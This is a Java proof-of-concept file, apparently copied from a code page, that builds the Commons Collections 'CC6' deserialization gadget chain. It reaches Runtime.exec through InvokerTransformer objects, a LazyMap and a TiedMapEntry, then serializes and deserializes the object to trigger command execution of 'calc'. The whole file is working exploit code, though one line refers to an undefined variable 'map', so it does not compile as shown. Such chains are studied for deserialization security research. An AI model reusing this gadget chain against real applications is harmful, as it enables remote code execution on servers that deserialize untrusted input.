1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| public class CC6_test { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, IOException { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), };
ChainedTransformer fake_chainedTransformer = new ChainedTransformer(new Transformer[]{}); HashMap<Object, Object> map1 = new HashMap<>(); Map<Object,Object> lazymap = LazyMap.decorate(map, fake_chainedTransformer); Map.Entry mapEntry = new TiedMapEntry(lazymap, Runtime.class); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(mapEntry,"adad"); Class c = Class.forName("org.apache.commons.collections.functors.ChainedTransformer"); Field field = c.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(fake_chainedTransformer,transformers); lazymap.clear();
serialize(map2); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
}
|